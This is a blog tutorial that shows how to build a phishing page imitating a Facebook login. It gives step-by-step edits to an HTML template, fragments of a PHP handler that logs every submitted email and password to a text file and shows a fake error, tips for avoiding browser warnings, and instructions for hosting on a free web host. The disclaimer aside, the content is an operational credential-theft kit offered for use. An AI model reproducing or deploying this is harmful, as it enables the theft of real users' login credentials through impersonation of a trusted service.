How to Create a Phishing Site From Scratch
Disclaimer: THIS BLOG IS FOR INFORMING THE RISK CAUSED BY PHISHING AND PLEASE DO NOT USE THIS FOR ILLEGAL PURPOSES.I AM NOT RESPONSIBLE FOR WHAT EVER AFTER EFFECTS YOU FACE IF YOU USE IT IN WRONG WAY!
- PHP BASICS
- HTML BASICS
- Account in free Web host such as 000webhost.com
What is Phishing?
In simple words, phishing is a method of hacking or a method of getting credentials by fooling others by pretending to be some trusted entity.
What we gonna do?
For the sake of example we gonna imitate Facebook and create a login screen similar to them and will fool users to login with it and we get their credentials.
What we need?
For this, the foremost thing we need is a login page similar to Facebook.In most of the tutorials they teach you to save Facebook page and edit it,but i wont recommend you that because if we do so its easy for the server or the browser to warn the users or block our page.So, we will need a fresh webpage. I surfed on the internet and found it in:
Once you download it we are ready to make our phishing page.Edit the “index.html” file using any text editor.
- Edit the <title></title> to what ever you want but must be related to facebook (I named it Facebook Themes)
- Now change <div id=”logo”<a href=”http://w3lessons.info"> W3lessons.info</a> </div> ,change the url to the name of the current webpage, i changed it to “index.html” and the name too,so the code looks like this for me:
<div id=”logo”><a href=”index.html”>FacebookThemes</a> </div>
Now we are into the form,you can see the form starting tag
<form method=”post” action=”” id=”login_form” name=”login_form”>
In this we have to specify what action our form should do , in short,we should divert our form data to some php file to validate and do the necessary steps. So within the quotes after “action=” we should place our php file name.like,
<form method=”post” action=”save.php” id=”login_form” name=”login_form”>
So we have finished our index page, but you can do more editing to the page writings to make it more believable one like above the signup tab you can change “welcome to facebook” and all those to something you want.
NOW SAVE THIS “index.html”
Next step is to create “save.php”,save it on the same directory
$atime=date(“dS F Y”, $atim);
fwrite($handle,”\t\t\t\t\t\t\t HACKED ON:”);
foreach($_POST as $variable=>$value)
echo “Invalid E-mail/Password <br>”;
echo “Try Again”;
Next create a text file named “data.txt” on same directory
This is the simple phishing site now Host it on any free web hosting services like 000webhost.com
The email and password entered in to the index.html will be sent to “save.php”.This php file will saves the email and password to “data.txt”. You can view this data anytime from you server by just opening it!
“REMEMBER NOT TO USE THIS FOR ANY ILLEGAL ACTIVITIES. KNOWLEDGE IS POWER BUT DO NOT MISUSE IT!”